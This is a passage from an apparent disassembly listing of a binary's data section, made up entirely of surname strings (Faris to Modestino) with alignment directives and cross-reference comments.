; DATA XREF: .nsp0:00445990o aFaris db 'Faris',0 ; DATA XREF: .nsp0:00445994o align 4 aFarone db 'Farone',0 ; DATA XREF: .nsp0:00445998o align 4 aFarren db 'Farren',0 ; DATA XREF: .nsp0:0044599Co align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: .nsp0:004459A0o align 4 aFates db 'Fates',0 ; DATA XREF: .nsp0:004459A4o align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .nsp0:004459A8o align 10h aFejzo db 'Fejzo',0 ; DATA XREF: .nsp0:004459ACo align 4 aFeldman db 'Feldman',0 ; DATA XREF: .nsp0:004459B0o aFernald db 'Fernald',0 ; DATA XREF: .nsp0:004459B4o aFernandes db 'Fernandes',0 ; DATA XREF: .nsp0:004459B8o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: .nsp0:004459BCo align 10h aFerriell db 'Ferriell',0 ; DATA XREF: .nsp0:004459C0o align 4 aFeuer db 'Feuer',0 ; DATA XREF: .nsp0:004459C4o align 4 aFido db 'Fido',0 ; DATA XREF: .nsp0:004459C8o align 4 aField_0 db 'Field',0 ; DATA XREF: .nsp0:004459CCo align 4 aFink db 'Fink',0 ; DATA XREF: .nsp0:004459D0o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: .nsp0:004459D4o aFinnegan db 'Finnegan',0 ; DATA XREF: .nsp0:004459D8o align 4 aFiorina db 'Fiorina',0 ; DATA XREF: .nsp0:004459DCo aFisk db 'Fisk',0 ; DATA XREF: .nsp0:004459E0o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .nsp0:004459E4o aFlier db 'Flier',0 ; DATA XREF: .nsp0:004459E8o align 4 aFlores db 'Flores',0 ; DATA XREF: .nsp0:004459ECo align 10h aFolks db 'Folks',0 ; DATA XREF: .nsp0:004459F0o align 4 aForester db 'Forester',0 ; DATA XREF: .nsp0:004459F4o align 4 aFortes db 'Fortes',0 ; DATA XREF: .nsp0:004459F8o align 4 aFortier db 'Fortier',0 ; DATA XREF: .nsp0:004459FCo aFossey db 'Fossey',0 ; DATA XREF: .nsp0:00445A00o align 4 aFossi db 'Fossi',0 ; DATA XREF: .nsp0:00445A04o align 4 aFrancisco db 'Francisco',0 ; DATA XREF: .nsp0:00445A08o align 10h aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .nsp0:00445A0Co align 10h aFranz db 'Franz',0 ; DATA XREF: .nsp0:00445A10o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .nsp0:00445A14o align 4 aFreid db 'Freid',0 ; DATA XREF: .nsp0:00445A18o align 10h aFreundlich db 'Freundlich',0 ; DATA XREF: .nsp0:00445A1Co align 4 aFried db 'Fried',0 ; DATA XREF: .nsp0:00445A20o align 4 aFriedland db 'Friedland',0 ; DATA XREF: .nsp0:00445A24o align 10h aFrisken db 'Frisken',0 ; DATA XREF: .nsp0:00445A28o aFrowiss db 'Frowiss',0 ; DATA XREF: .nsp0:00445A2Co aFryberger db 'Fryberger',0 ; DATA XREF: .nsp0:00445A30o align 4 aFrye db 'Frye',0 ; DATA XREF: .nsp0:00445A34o align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .nsp0:00445A38o align 10h aFuller db 'Fuller',0 ; DATA XREF: .nsp0:00445A3Co align 4 aFurth db 'Furth',0 ; DATA XREF: .nsp0:00445A40o align 10h aFusaro db 'Fusaro',0 ; DATA XREF: .nsp0:00445A44o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: .nsp0:00445A48o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .nsp0:00445A4Co align 10h aGaleotti db 'Galeotti',0 ; DATA XREF: .nsp0:00445A50o align 4 aGalwey db 'Galwey',0 ; DATA XREF: .nsp0:00445A54o align 4 aGambini db 'Gambini',0 ; DATA XREF: .nsp0:00445A58o aGarfield_0 db 'Garfield',0 ; DATA XREF: .nsp0:00445A5Co align 4 aGarman db 'Garman',0 ; DATA XREF: .nsp0:00445A60o align 10h aGaronna db 'Garonna',0 ; DATA XREF: .nsp0:00445A64o aGeller db 'Geller',0 ; DATA XREF: .nsp0:00445A68o align 10h aGemberling db 'Gemberling',0 ; DATA XREF: .nsp0:00445A6Co align 4 aGeorgi db 'Georgi',0 ; DATA XREF: .nsp0:00445A70o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: .nsp0:00445A74o aGhorai db 'Ghorai',0 ; DATA XREF: .nsp0:00445A78o align 4 aGibbens db 'Gibbens',0 ; DATA XREF: .nsp0:00445A7Co aGibson_0 db 'Gibson',0 ; DATA XREF: .nsp0:00445A80o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: .nsp0:00445A84o aGili db 'Gili',0 ; DATA XREF: .nsp0:00445A88o align 4 aGill db 'Gill',0 ; DATA XREF: .nsp0:00445A8Co align 4 aGillispie db 'Gillispie',0 ; DATA XREF: .nsp0:00445A90o align 4 aGist db 'Gist',0 ; DATA XREF: .nsp0:00445A94o align 10h aGleason db 'Gleason',0 ; DATA XREF: .nsp0:00445A98o aGlegg db 'Glegg',0 ; DATA XREF: .nsp0:00445A9Co align 10h aGlendon db 'Glendon',0 ; DATA XREF: .nsp0:00445AA0o aGoldfarb db 'Goldfarb',0 ; DATA XREF: .nsp0:00445AA4o align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: .nsp0:00445AA8o align 10h aGood_0 db 'Good',0 ; DATA XREF: .nsp0:00445AACo align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: .nsp0:00445AB0o align 4 aGoody db 'Goody',0 ; DATA XREF: .nsp0:00445AB4o align 4 aGozzi db 'Gozzi',0 ; DATA XREF: .nsp0:00445AB8o align 4 aGravell db 'Gravell',0 ; DATA XREF: .nsp0:00445ABCo aGreenberg db 'Greenberg',0 ; DATA XREF: .nsp0:00445AC0o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: .nsp0:00445AC4o align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: .nsp0:00445AC8o align 10h aGrigoletto db 'Grigoletto',0 ; DATA XREF: .nsp0:00445ACCo align 4 aGrummell db 'Grummell',0 ; DATA XREF: .nsp0:00445AD0o align 4 aGruner db 'Gruner',0 ; DATA XREF: .nsp0:00445AD4o align 10h aGruppe db 'Gruppe',0 ; DATA XREF: .nsp0:00445AD8o align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: .nsp0:00445ADCo align 4 aGunn db 'Gunn',0 ; DATA XREF: .nsp0:00445AE0o align 4 aGuo db 'Guo',0 ; DATA XREF: .nsp0:00445AE4o aHa db 'Ha',0 ; DATA XREF: .nsp0:00445AE8o align 4 aHaar db 'Haar',0 ; DATA XREF: .nsp0:00445AECo align 4 aHackman db 'Hackman',0 ; DATA XREF: .nsp0:00445AF0o aHackshaw db 'Hackshaw',0 ; DATA XREF: .nsp0:00445AF4o align 10h aHaley db 'Haley',0 ; DATA XREF: .nsp0:00445AF8o align 4 aHalkias db 'Halkias',0 ; DATA XREF: .nsp0:00445AFCo aHallowell db 'Hallowell',0 ; DATA XREF: .nsp0:00445B00o align 4 aHalpert db 'Halpert',0 ; DATA XREF: .nsp0:00445B04o aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .nsp0:00445B08o align 4 aHamer db 'Hamer',0 ; DATA XREF: .nsp0:00445B0Co align 4 aHammerness db 'Hammerness',0 ; DATA XREF: .nsp0:00445B10o align 4 aHand db 'Hand',0 ; DATA XREF: .nsp0:00445B14o align 10h aHanssen db 'Hanssen',0 ; DATA XREF: .nsp0:00445B18o aHarding db 'Harding',0 ; DATA XREF: .nsp0:00445B1Co aHargraves db 'Hargraves',0 ; DATA XREF: .nsp0:00445B20o align 4 aHarlow db 'Harlow',0 ; DATA XREF: .nsp0:00445B24o align 4 aHarrigan db 'Harrigan',0 ; DATA XREF: .nsp0:00445B28o align 10h aHartman db 'Hartman',0 ; DATA XREF: .nsp0:00445B2Co aHartmann db 'Hartmann',0 ; DATA XREF: .nsp0:00445B30o align 4 aHartnett db 'Hartnett',0 ; DATA XREF: .nsp0:00445B34o align 10h aHarwell db 'Harwell',0 ; DATA XREF: .nsp0:00445B38o aHaviaras db 'Haviaras',0 ; DATA XREF: .nsp0:00445B3Co align 4 aHawkes db 'Hawkes',0 ; DATA XREF: .nsp0:00445B40o align 4 aHayes db 'Hayes',0 ; DATA XREF: .nsp0:00445B44o align 4 aHaynes db 'Haynes',0 ; DATA XREF: .nsp0:00445B48o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: .nsp0:00445B4Co align 4 aHeermans db 'Heermans',0 ; DATA XREF: .nsp0:00445B50o align 4 aHeft db 'Heft',0 ; DATA XREF: .nsp0:00445B54o align 4 aHeiland db 'Heiland',0 ; DATA XREF: .nsp0:00445B58o aHellman db 'Hellman',0 ; DATA XREF: .nsp0:00445B5Co aHellmiss db 'Hellmiss',0 ; DATA XREF: .nsp0:00445B60o align 4 aHelprin db 'Helprin',0 ; DATA XREF: .nsp0:00445B64o aHemphill db 'Hemphill',0 ; DATA XREF: .nsp0:00445B68o align 4 aHenery db 'Henery',0 ; DATA XREF: .nsp0:00445B6Co align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: .nsp0:00445B70o align 10h aHernandez db 'Hernandez',0 ; DATA XREF: .nsp0:00445B74o align 4 aHerrera db 'Herrera',0 ; DATA XREF: .nsp0:00445B78o aHester db 'Hester',0 ; DATA XREF: .nsp0:00445B7Co align 4 aHeubert db 'Heubert',0 ; DATA XREF: .nsp0:00445B80o aHeyeck db 'Heyeck',0 ; DATA XREF: .nsp0:00445B84o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .nsp0:00445B88o align 4 aHind db 'Hind',0 ; DATA XREF: .nsp0:00445B8Co align 10h aHirst db 'Hirst',0 ; DATA XREF: .nsp0:00445B90o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: .nsp0:00445B94o align 4 aHoang db 'Hoang',0 ; DATA XREF: .nsp0:00445B98o align 4 aHock db 'Hock',0 ; DATA XREF: .nsp0:00445B9Co align 4 aHoffer db 'Hoffer',0 ; DATA XREF: .nsp0:00445BA0o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: .nsp0:00445BA4o aHokanson db 'Hokanson',0 ; DATA XREF: .nsp0:00445BA8o align 10h aHokoda db 'Hokoda',0 ; DATA XREF: .nsp0:00445BACo align 4 aHolmes db 'Holmes',0 ; DATA XREF: .nsp0:00445BB0o align 10h aHoloien db 'Holoien',0 ; DATA XREF: .nsp0:00445BB4o aHolter db 'Holter',0 ; DATA XREF: .nsp0:00445BB8o align 10h aHolway db 'Holway',0 ; DATA XREF: .nsp0:00445BBCo align 4 aHolzman db 'Holzman',0 ; DATA XREF: .nsp0:00445BC0o aHooker_0 db 'Hooker',0 ; DATA XREF: .nsp0:00445BC4o align 4 aHopkins db 'Hopkins',0 ; DATA XREF: .nsp0:00445BC8o aHorsley db 'Horsley',0 ; DATA XREF: .nsp0:00445BCCo aHoshida db 'Hoshida',0 ; DATA XREF: .nsp0:00445BD0o aHostage db 'Hostage',0 ; DATA XREF: .nsp0:00445BD4o aHottle db 'Hottle',0 ; DATA XREF: .nsp0:00445BD8o align 10h aHoward db 'Howard',0 ; DATA XREF: .nsp0:00445BDCo align 4 aHoy db 'Hoy',0 ; DATA XREF: .nsp0:00445BE0o aHuey db 'Huey',0 ; DATA XREF: .nsp0:00445BE4o align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: .nsp0:00445BE8o align 10h aHungerford db 'Hungerford',0 ; DATA XREF: .nsp0:00445BECo align 4 aHuntington db 'Huntington',0 ; DATA XREF: .nsp0:00445BF0o align 4 aHupp db 'Hupp',0 ; DATA XREF: .nsp0:00445BF4o align 10h aHurtubise db 'Hurtubise',0 ; DATA XREF: .nsp0:00445BF8o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: .nsp0:00445BFCo align 4 aHyde db 'Hyde',0 ; DATA XREF: .nsp0:00445C00o align 10h aIaquinta db 'Iaquinta',0 ; DATA XREF: .nsp0:00445C04o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: .nsp0:00445C08o align 4 aIgarashi db 'Igarashi',0 ; DATA XREF: .nsp0:00445C0Co align 4 aInamura db 'Inamura',0 ; DATA XREF: .nsp0:00445C10o aInniss db 'Inniss',0 ; DATA XREF: .nsp0:00445C14o align 4 aIsaac db 'Isaac',0 ; DATA XREF: .nsp0:00445C18o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: .nsp0:00445C1Co align 4 aIsbill db 'Isbill',0 ; DATA XREF: .nsp0:00445C20o align 10h aIsserman db 'Isserman',0 ; DATA XREF: .nsp0:00445C24o align 4 aIyer db 'Iyer',0 ; DATA XREF: .nsp0:00445C28o align 4 aJacenko db 'Jacenko',0 ; DATA XREF: .nsp0:00445C2Co aJackson db 'Jackson',0 ; DATA XREF: .nsp0:00445C30o aJagers db 'Jagers',0 ; DATA XREF: .nsp0:00445C34o align 4 aJagger db 'Jagger',0 ; DATA XREF: .nsp0:00445C38o align 4 aJagoe db 'Jagoe',0 ; DATA XREF: .nsp0:00445C3Co align 4 aJain db 'Jain',0 ; DATA XREF: .nsp0:00445C40o align 4 aJamil db 'Jamil',0 ; DATA XREF: .nsp0:00445C44o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: .nsp0:00445C48o align 4 aJarnagin db 'Jarnagin',0 ; DATA XREF: .nsp0:00445C4Co align 4 aJarrell db 'Jarrell',0 ; DATA XREF: .nsp0:00445C50o aJay db 'Jay',0 ; DATA XREF: .nsp0:00445C54o aJeffers db 'Jeffers',0 ; DATA XREF: .nsp0:00445C58o aJellis db 'Jellis',0 ; DATA XREF: .nsp0:00445C5Co align 10h aJenkins db 'Jenkins',0 ; DATA XREF: .nsp0:00445C60o aJespersen db 'Jespersen',0 ; DATA XREF: .nsp0:00445C64o align 4 aJewett db 'Jewett',0 ; DATA XREF: .nsp0:00445C68o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: .nsp0:00445C6Co aJohannsen db 'Johannsen',0 ; DATA XREF: .nsp0:00445C70o align 4 aJohns db 'Johns',0 ; DATA XREF: .nsp0:00445C74o align 4 aJolly db 'Jolly',0 ; DATA XREF: .nsp0:00445C78o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: .nsp0:00445C7Co align 10h aJucks db 'Jucks',0 ; DATA XREF: .nsp0:00445C80o align 4 aJuliano db 'Juliano',0 ; DATA XREF: .nsp0:00445C84o aJulious db 'Julious',0 ; DATA XREF: .nsp0:00445C88o aKabbash db 'Kabbash',0 ; DATA XREF: .nsp0:00445C8Co aKaboolian db 'Kaboolian',0 ; DATA XREF: .nsp0:00445C90o align 4 aKafadar db 'Kafadar',0 ; DATA XREF: .nsp0:00445C94o aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .nsp0:00445C98o aKaligian db 'Kaligian',0 ; DATA XREF: .nsp0:00445C9Co align 4 aKalil db 'Kalil',0 ; DATA XREF: .nsp0:00445CA0o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: .nsp0:00445CA4o align 10h aKalman db 'Kalman',0 ; DATA XREF: .nsp0:00445CA8o align 4 aKamel db 'Kamel',0 ; DATA XREF: .nsp0:00445CACo align 10h aKangis db 'Kangis',0 ; DATA XREF: .nsp0:00445CB0o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: .nsp0:00445CB4o align 4 aKassower db 'Kassower',0 ; DATA XREF: .nsp0:00445CB8o align 10h aKasten db 'Kasten',0 ; DATA XREF: .nsp0:00445CBCo align 4 aKawachi db 'Kawachi',0 ; DATA XREF: .nsp0:00445CC0o aKee db 'Kee',0 ; DATA XREF: .nsp0:00445CC4o aKeenan db 'Keenan',0 ; DATA XREF: .nsp0:00445CC8o align 4 aKeepper db 'Keepper',0 ; DATA XREF: .nsp0:00445CCCo aKeith db 'Keith',0 ; DATA XREF: .nsp0:00445CD0o align 4 aKelker db 'Kelker',0 ; DATA XREF: .nsp0:00445CD4o align 4 aKelsey db 'Kelsey',0 ; DATA XREF: .nsp0:00445CD8o align 4 aKempton db 'Kempton',0 ; DATA XREF: .nsp0:00445CDCo aKemsley db 'Kemsley',0 ; DATA XREF: .nsp0:00445CE0o aKendall db 'Kendall',0 ; DATA XREF: .nsp0:00445CE4o aKerry_0 db 'Kerry',0 ; DATA XREF: .nsp0:00445CE8o align 4 aKeul db 'Keul',0 ; DATA XREF: .nsp0:00445CECo align 4 aKhong db 'Khong',0 ; DATA XREF: .nsp0:00445CF0o align 4 aKimmel db 'Kimmel',0 ; DATA XREF: .nsp0:00445CF4o align 4 aKimmett db 'Kimmett',0 ; DATA XREF: .nsp0:00445CF8o aKimura db 'Kimura',0 ; DATA XREF: .nsp0:00445CFCo align 4 aKindall db 'Kindall',0 ; DATA XREF: .nsp0:00445D00o aKinsley db 'Kinsley',0 ; DATA XREF: .nsp0:00445D04o aKippenberger db 'Kippenberger',0 ; DATA XREF: .nsp0:00445D08o align 4 aKirscht db 'Kirscht',0 ; DATA XREF: .nsp0:00445D0Co aKittridge db 'Kittridge',0 ; DATA XREF: .nsp0:00445D10o align 4 aKleckner db 'Kleckner',0 ; DATA XREF: .nsp0:00445D14o align 4 aKleiman db 'Kleiman',0 ; DATA XREF: .nsp0:00445D18o aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .nsp0:00445D1Co aKlemperer db 'Klemperer',0 ; DATA XREF: .nsp0:00445D20o align 4 aKling db 'Kling',0 ; DATA XREF: .nsp0:00445D24o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .nsp0:00445D28o aKlint db 'Klint',0 ; DATA XREF: .nsp0:00445D2Co align 10h aKnuff db 'Knuff',0 ; DATA XREF: .nsp0:00445D30o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: .nsp0:00445D34o aKoch db 'Koch',0 ; DATA XREF: .nsp0:00445D38o align 4 aKohn db 'Kohn',0 ; DATA XREF: .nsp0:00445D3Co align 10h aKoivumaki db 'Koivumaki',0 ; DATA XREF: .nsp0:00445D40o align 4 aKommer db 'Kommer',0 ; DATA XREF: .nsp0:00445D44o align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: .nsp0:00445D48o align 10h aKonrad db 'Konrad',0 ; DATA XREF: .nsp0:00445D4Co align 4 aKool db 'Kool',0 ; DATA XREF: .nsp0:00445D50o align 10h aKorzybski db 'Korzybski',0 ; DATA XREF: .nsp0:00445D54o align 4 aKotter db 'Kotter',0 ; DATA XREF: .nsp0:00445D58o align 4 aKovaks db 'Kovaks',0 ; DATA XREF: .nsp0:00445D5Co align 4 aKraemer db 'Kraemer',0 ; DATA XREF: .nsp0:00445D60o aKrailo db 'Krailo',0 ; DATA XREF: .nsp0:00445D64o align 4 aKrasney db 'Krasney',0 ; DATA XREF: .nsp0:00445D68o aKraus db 'Kraus',0 ; DATA XREF: .nsp0:00445D6Co align 4 aKroemer db 'Kroemer',0 ; DATA XREF: .nsp0:00445D70o aKrysiak db 'Krysiak',0 ; DATA XREF: .nsp0:00445D74o aKuenzli db 'Kuenzli',0 ; DATA XREF: .nsp0:00445D78o aKumar db 'Kumar',0 ; DATA XREF: .nsp0:00445D7Co align 4 aKusman db 'Kusman',0 ; DATA XREF: .nsp0:00445D80o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: .nsp0:00445D84o align 10h aLa db 'La',0 ; DATA XREF: .nsp0:00445D88o align 4 aLabunka db 'Labunka',0 ; DATA XREF: .nsp0:00445D8Co aLafler db 'Lafler',0 ; DATA XREF: .nsp0:00445D90o align 4 aLaing db 'Laing',0 ; DATA XREF: .nsp0:00445D94o align 4 aLallemant db 'Lallemant',0 ; DATA XREF: .nsp0:00445D98o align 4 aLandes db 'Landes',0 ; DATA XREF: .nsp0:00445D9Co align 10h aLankes db 'Lankes',0 ; DATA XREF: .nsp0:00445DA0o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: .nsp0:00445DA4o align 4 aLanzit db 'Lanzit',0 ; DATA XREF: .nsp0:00445DA8o align 4 aLaserna db 'Laserna',0 ; DATA XREF: .nsp0:00445DACo aLashley db 'Lashley',0 ; DATA XREF: .nsp0:00445DB0o aLawless db 'Lawless',0 ; DATA XREF: .nsp0:00445DB4o aLecar db 'Lecar',0 ; DATA XREF: .nsp0:00445DB8o align 4 aLecce db 'Lecce',0 ; DATA XREF: .nsp0:00445DBCo align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: .nsp0:00445DC0o align 10h aLeite db 'Leite',0 ; DATA XREF: .nsp0:00445DC4o align 4 aLenard db 'Lenard',0 ; DATA XREF: .nsp0:00445DC8o align 10h aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .nsp0:00445DCCo align 4 aLesser db 'Lesser',0 ; DATA XREF: .nsp0:00445DD0o align 4 aLessi db 'Lessi',0 ; DATA XREF: .nsp0:00445DD4o align 4 aLiakos db 'Liakos',0 ; DATA XREF: .nsp0:00445DD8o align 4 aLidano db 'Lidano',0 ; DATA XREF: .nsp0:00445DDCo align 4 aLiem db 'Liem',0 ; DATA XREF: .nsp0:00445DE0o align 4 aLight_0 db 'Light',0 ; DATA XREF: .nsp0:00445DE4o align 4 aLightfoot db 'Lightfoot',0 ; DATA XREF: .nsp0:00445DE8o align 4 aLim db 'Lim',0 ; DATA XREF: .nsp0:00445DECo aLinares db 'Linares',0 ; DATA XREF: .nsp0:00445DF0o aLinda_0 db 'Linda',0 ; DATA XREF: .nsp0:00445DF4o align 4 aLinder db 'Linder',0 ; DATA XREF: .nsp0:00445DF8o align 4 aLine_0 db 'Line',0 ; DATA XREF: .nsp0:00445DFCo align 4 aLinehan db 'Linehan',0 ; DATA XREF: .nsp0:00445E00o aLinzee db 'Linzee',0 ; DATA XREF: .nsp0:00445E04o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: .nsp0:00445E08o align 4 aLipponen db 'Lipponen',0 ; DATA XREF: .nsp0:00445E0Co align 4 aLittle db 'Little',0 ; DATA XREF: .nsp0:00445E10o align 4 aLitvak db 'Litvak',0 ; DATA XREF: .nsp0:00445E14o align 4 aLivernash db 'Livernash',0 ; DATA XREF: .nsp0:00445E18o align 10h aLivi db 'Livi',0 ; DATA XREF: .nsp0:00445E1Co align 4 aLivolsi db 'Livolsi',0 ; DATA XREF: .nsp0:00445E20o aLizardo db 'Lizardo',0 ; DATA XREF: .nsp0:00445E24o aLocatelli db 'Locatelli',0 ; DATA XREF: .nsp0:00445E28o align 4 aLongworth db 'Longworth',0 ; DATA XREF: .nsp0:00445E2Co align 10h aLoss db 'Loss',0 ; DATA XREF: .nsp0:00445E30o align 4 aLoveman db 'Loveman',0 ; DATA XREF: .nsp0:00445E34o aLowenstein db 'Lowenstein',0 ; DATA XREF: .nsp0:00445E38o align 4 aLoza db 'Loza',0 ; DATA XREF: .nsp0:00445E3Co align 4 aLubin db 'Lubin',0 ; DATA XREF: .nsp0:00445E40o align 4 aLucas db 'Lucas',0 ; DATA XREF: .nsp0:00445E44o align 4 aLuciano db 'Luciano',0 ; DATA XREF: .nsp0:00445E48o aLuczkow db 'Luczkow',0 ; DATA XREF: .nsp0:00445E4Co aLuecke db 'Luecke',0 ; DATA XREF: .nsp0:00445E50o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: .nsp0:00445E54o aLuoma db 'Luoma',0 ; DATA XREF: .nsp0:00445E58o align 4 aLussier db 'Lussier',0 ; DATA XREF: .nsp0:00445E5Co aLutcavage db 'Lutcavage',0 ; DATA XREF: .nsp0:00445E60o align 10h aLuzader db 'Luzader',0 ; DATA XREF: .nsp0:00445E64o aMa db 'Ma',0 ; DATA XREF: .nsp0:00445E68o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: .nsp0:00445E6Co align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: .nsp0:00445E70o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: .nsp0:00445E74o align 10h aMacintyre db 'Macintyre',0 ; DATA XREF: .nsp0:00445E78o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: .nsp0:00445E7Co align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: .nsp0:00445E80o align 4 aMacy db 'Macy',0 ; DATA XREF: .nsp0:00445E84o align 4 aMadigan db 'Madigan',0 ; DATA XREF: .nsp0:00445E88o aMaggio db 'Maggio',0 ; DATA XREF: .nsp0:00445E8Co align 4 aMahony db 'Mahony',0 ; DATA XREF: .nsp0:00445E90o align 4 aMaier db 'Maier',0 ; DATA XREF: .nsp0:00445E94o align 4 aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .nsp0:00445E98o align 4 aMaisano db 'Maisano',0 ; DATA XREF: .nsp0:00445E9Co aMalatesta db 'Malatesta',0 ; DATA XREF: .nsp0:00445EA0o align 10h aMaller db 'Maller',0 ; DATA XREF: .nsp0:00445EA4o align 4 aMalova db 'Malova',0 ; DATA XREF: .nsp0:00445EA8o align 10h aManalis db 'Manalis',0 ; DATA XREF: .nsp0:00445EACo aMandel db 'Mandel',0 ; DATA XREF: .nsp0:00445EB0o align 10h aManganiello db 'Manganiello',0 ; DATA XREF: .nsp0:00445EB4o aMantovan db 'Mantovan',0 ; DATA XREF: .nsp0:00445EB8o align 4 aMarch_0 db 'March',0 ; DATA XREF: .nsp0:00445EBCo align 10h aMarchbanks db 'Marchbanks',0 ; DATA XREF: .nsp0:00445EC0o align 4 aMarcus db 'Marcus',0 ; DATA XREF: .nsp0:00445EC4o align 4 aMargalit db 'Margalit',0 ; DATA XREF: .nsp0:00445EC8o align 10h aMargetts db 'Margetts',0 ; DATA XREF: .nsp0:00445ECCo align 4 aMarques db 'Marques',0 ; DATA XREF: .nsp0:00445ED0o aMartinez db 'Martinez',0 ; DATA XREF: .nsp0:00445ED4o align 10h aMartochio db 'Martochio',0 ; DATA XREF: .nsp0:00445ED8o align 4 aMarton db 'Marton',0 ; DATA XREF: .nsp0:00445EDCo align 4 aMarubini db 'Marubini',0 ; DATA XREF: .nsp0:00445EE0o align 10h aMass db 'Mass',0 ; DATA XREF: .nsp0:00445EE4o align 4 aMatalka db 'Matalka',0 ; DATA XREF: .nsp0:00445EE8o aMatarazzo db 'Matarazzo',0 ; DATA XREF: .nsp0:00445EECo align 4 aMatsukata db 'Matsukata',0 ; DATA XREF: .nsp0:00445EF0o align 4 aMattson db 'Mattson',0 ; DATA XREF: .nsp0:00445EF4o aMauzy db 'Mauzy',0 ; DATA XREF: .nsp0:00445EF8o align 4 aMay_0 db 'May',0 ; DATA XREF: .nsp0:00445EFCo aMazzali db 'Mazzali',0 ; DATA XREF: .nsp0:00445F00o aMazziotta db 'Mazziotta',0 ; DATA XREF: .nsp0:00445F04o align 10h aMcbride db 'Mcbride',0 ; DATA XREF: .nsp0:00445F08o aMccaffery db 'Mccaffery',0 ; DATA XREF: .nsp0:00445F0Co align 4 aMccall db 'Mccall',0 ; DATA XREF: .nsp0:00445F10o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: .nsp0:00445F14o align 4 aMcdowell db 'Mcdowell',0 ; DATA XREF: .nsp0:00445F18o align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: .nsp0:00445F1Co aMcfadden db 'McFadden',0 ; DATA XREF: .nsp0:00445F20o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: .nsp0:00445F24o align 10h aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .nsp0:00445F28o align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: .nsp0:00445F2Co aMcintosh db 'Mcintosh',0 ; DATA XREF: .nsp0:00445F30o align 10h aMckenna db 'Mckenna',0 ; DATA XREF: .nsp0:00445F34o aMclane db 'Mclane',0 ; DATA XREF: .nsp0:00445F38o align 10h aMclaren db 'Mclaren',0 ; DATA XREF: .nsp0:00445F3Co aMcnealy db 'Mcnealy',0 ; DATA XREF: .nsp0:00445F40o aMcnulty db 'Mcnulty',0 ; DATA XREF: .nsp0:00445F44o aMeccariello db 'Meccariello',0 ; DATA XREF: .nsp0:00445F48o aMemisoglu db 'Memisoglu',0 ; DATA XREF: .nsp0:00445F4Co align 10h aMenzies db 'Menzies',0 ; DATA XREF: .nsp0:00445F50o aMerikoski db 'Merikoski',0 ; DATA XREF: .nsp0:00445F54o align 4 aMerlani db 'Merlani',0 ; DATA XREF: .nsp0:00445F58o aMerminod db 'Merminod',0 ; DATA XREF: .nsp0:00445F5Co align 4 aMerseth db 'Merseth',0 ; DATA XREF: .nsp0:00445F60o aMerz db 'Merz',0 ; DATA XREF: .nsp0:00445F64o align 4 aMetelka db 'Metelka',0 ; DATA XREF: .nsp0:00445F68o aMetropolis db 'Metropolis',0 ; DATA XREF: .nsp0:00445F6Co align 4 aMeurer db 'Meurer',0 ; DATA XREF: .nsp0:00445F70o align 4 aMichelman db 'Michelman',0 ; DATA XREF: .nsp0:00445F74o align 10h aMiddle db 'Middle',0 ; DATA XREF: .nsp0:00445F78o align 4 aMieher db 'Mieher',0 ; DATA XREF: .nsp0:00445F7Co align 10h aMills db 'Mills',0 ; DATA XREF: .nsp0:00445F80o align 4 aMinh db 'Minh',0 ; DATA XREF: .nsp0:00445F84o align 10h aMini db 'Mini',0 ; DATA XREF: .nsp0:00445F88o align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: .nsp0:00445F8Co aGonzalez db 'Gonzalez',0 ; DATA XREF: .nsp0:00445F90o align 10h aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .nsp0:00445F94o aMittal db 'Mittal',0 ; DATA XREF: .nsp0:00445F98o align 4 aMocroft db 'Mocroft',0 ; DATA XREF: .nsp0:00445F9Co aModestino db 'Modestino',0 ; DATA XREF: 